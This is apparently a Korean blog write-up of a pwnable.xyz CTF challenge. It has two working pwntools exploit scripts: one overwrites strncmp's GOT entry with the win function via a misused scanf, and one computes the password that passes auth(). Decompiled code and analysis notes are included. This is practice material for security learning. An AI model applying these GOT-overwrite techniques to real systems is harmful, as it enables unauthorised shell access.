from pwn import *
p = remote("svc.pwnable.xyz", 30031)
printf_got = 0x603038 # overwrite 시점에 이미 사용된 함수 (printf,scanf,atoi,read)
puts_got = 0x603020 # \x20 = space, scanf 함수는 공백/줄바꿈 만나면 입력 멈춤
strncmp_got = 0x603018
win = 0x40099c
p.sendafter("> ", "2")
# 문자 입력하는 것이므로 little endian 형식으로 주어야함
# 배열 앞에서부터 한바이트씩 채워짐
p.sendafter("nationality: ", b'A'*0x10+p64(strncmp_got))
p.sendafter("> ", "3")
p.sendlineafter("age: ", str(int(win)))
p.sendafter("> ", "4") # auth() 호출함으로써 결과적으로 strncmp() 호출되게
p.interactive()
from pwn import *
p = remote("svc.pwnable.xyz", 30031)
# x/32bx 0x400b04 (p main 해서 주소 파악)
main_bytes = "0x55 0x48 0x89 0xe5 0x48 0x83 0xec 0x50".split()
main_bytes += "0x64 0x48 0x8b 0x04 0x25 0x28 0x00 0x00".split()
main_bytes += "0x00 0x48 0x89 0x45 0xf8 0x31 0xc0 0xe8".split()
main_bytes += "0x24 0xfe 0xff 0xff 0x48 0x8d 0x45 0xc0".split()
# x/32bx 0x301d28 (disas auth에서 주소 파악)
s1 = "0x11 0xde 0xcf 0x10 0xdf 0x75 0xbb 0xa5".split()
s1 += "0x43 0x1e 0x9d 0xc2 0xe3 0xbf 0xf5 0xd6".split()
s1 += "0x96 0x7f 0xbe 0xb0 0xbf 0xb7 0x96 0x1d".split()
s1 += "0xa8 0xbb 0x0a 0xd9 0xbf 0xc9 0x0d 0xff".split()
# 우리가 구하는 정답
s=['\x00']*0x20
# s1[i] = ((s[i]//16) | (16*s[i]))^main_bytes[i]
# s1[i]^main_bytes[i] = s[i]>>4 | s[i]<<4
# s[i]<<4에서 1바이트 넘어가는건 그대로 없어진다
# 좌변의 상위 4Byte는 s[i]의 하위 4Byte, 하위 4Byte는 s[i]의 상위 4Byte
for i in range(32):
tmp=int(s1[i],16)^int(main_bytes[i],16)
# (tmp>>4) | ((tmp<<4)&0xff)
s[i] = chr((tmp//16)+(tmp%16)*16)
p.recvuntil("> ")
p.send("1")
p.send(''.join(s))
p.recvuntil("> ")
p.send("4")
p.interactive()
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int int32; // eax
char s[32]; // [rsp+10h] [rbp-40h] BYREF
_QWORD v5[4]; // [rsp+30h] [rbp-20h] BYREF
v5[3] = __readfsqword(0x28u);
setup(argc, argv, envp);
// rbp-0x40 부터 0x38만큼 0으로 초기화 = s와 v5[0~2] 0으로 초기화
memset(s, 0, 0x38uLL);
while ( 1 )
{
while ( 1 )
{
print_menu();
int32 = read_int32();
if ( int32 != 2 )
break;
printf("nationality: ");
// v5에 문자열 채우고 남은 칸(~23까지)은 0으로 채운다
__isoc99_scanf("%24s", v5);
}
if ( int32 > 2 )
{
if ( int32 == 3 )
{
printf("age: ");
__isoc99_scanf("%d", v5[2]);
}
else if ( int32 == 4 )
{
if ( (unsigned __int8)auth(s) )
win();
}
else
{
LABEL_14:
puts("Invalid");
}
}
else
{
if ( int32 != 1 )
goto LABEL_14;
printf("name: ");
// s에 문자열 채우고 남은 칸(~31까지)은 0으로 채운다
__isoc99_scanf("%32s", s);
}
}
}
int print_menu()
{
return printf("Menu:\n 1. Change name.\n 2. Change nationality.\n 3. Change age.\n 4. Get shell.\n> ");
}
int read_int32()
{
__int64 buf[4]; // [rsp+0h] [rbp-20h] BYREF
buf[3] = __readfsqword(0x28u);
buf[0] = 0LL;
buf[1] = 0LL;
// 최대 16자릿수 int 입력가능
read(0, buf, 0x10uLL);
return atoi((const char *)buf);
}
_BOOL8 __fastcall auth(__int64 a1)
{
signed int i; // [rsp+18h] [rbp-38h]
char s1[8]; // [rsp+20h] [rbp-30h] BYREF
__int64 v4; // [rsp+28h] [rbp-28h]
__int64 v5; // [rsp+30h] [rbp-20h]
__int64 v6; // [rsp+38h] [rbp-18h]
unsigned __int64 v7; // [rsp+48h] [rbp-8h]
v7 = __readfsqword(0x28u);
*(_QWORD *)s1 = 0LL;
v4 = 0LL;
v5 = 0LL;
v6 = 0LL;
for ( i = 0; (unsigned int)i <= 0x1F; ++i )
// *(_BYTE *)(a1 + i)는 인자로 건네준 s의 i번째 index, 즉 s[i]
// *((_BYTE *)main + i) 는 main 시작(0x400B04)부터 i번째 바이트의 값: 55 48 89 E5 48 83 EC 50 순서
// s1[i] = ((s[i]//16) | (s[i]*16)) ^ main[i] => s1[i]^main[i] = s[i]//16 | s[i]*16
s1[i] = ((*(_BYTE *)(a1 + i) >> 4) | (16 * *(_BYTE *)(a1 + i))) ^ *((_BYTE *)main + i);
// s1에 저장된 문자열과 0x401D28 주소의 문자열의 첫 32자가 같은지 여부 리턴
return strncmp(s1, &s2, 0x20uLL) == 0;
}
<두 가지 방식이 있네>
Partial RELRO Canary found NX enabled No PIE
1. scanf의 잘못된 사용 공략
* v5는 배열의 시작주소를 나타내고, v5[2]는 배열의 세번째 element 값을 나타냄
__isoc99_scanf("%24s", v5); 에서 v5[0],v5[1],v5[2] 채우고
__isoc99_scanf("%d", v5[2]); 에서 v5[2]에 저장된 주소에 특정 정수값을 저장할 수 있다
* GOT overwrite 하기전 이미 실행된 함수는 got에 실제 주소값이 매핑되어있으므로 사용할 수 없다
why? "%ld"가 아니라 "%d"이므로 4바이트를 입력받을 수 있는데 (리눅스에서 long=8B, int=4B / 윈도우에선 long도 4B)
실제 주솟값이 매핑되면 0x7f~ 가 들어가므로 4Byte 덮어쓰더라도 앞 2Byte가 남아있어 제대로 동작 x
* overwrite를 진행하는 시점에 사용되지 않은 함수를 사용해야 함 (puts, strncmp 정도가 있는데 puts는 공백 바이트 포함)
2. 정직하게 auth(s)의 리턴값이 true가 되도록 입력값 s를 줌
s1[i] = ((x>>4) | (x<<4)) ^ main[i] 이므로 양변에 xor 곱해주면
s1[i] ^ main[i] = x>>4 || x<<4 (x의 상위 4B, 하위 4B swap, 1byte 넘어가는 부분은 날아감)
'security > 포너블 - pwnable.xyz' 카테고리의 다른 글
pwnable.xyz - free spirit (0) | 2023.02.05 |
---|---|
pwnable.xyz - xor (0) | 2023.02.05 |
pwnable.xyz - note (0) | 2023.02.05 |
pwnable.xyz - grownup (0) | 2023.02.05 |
pwnable.xyz - misalignment (0) | 2023.02.05 |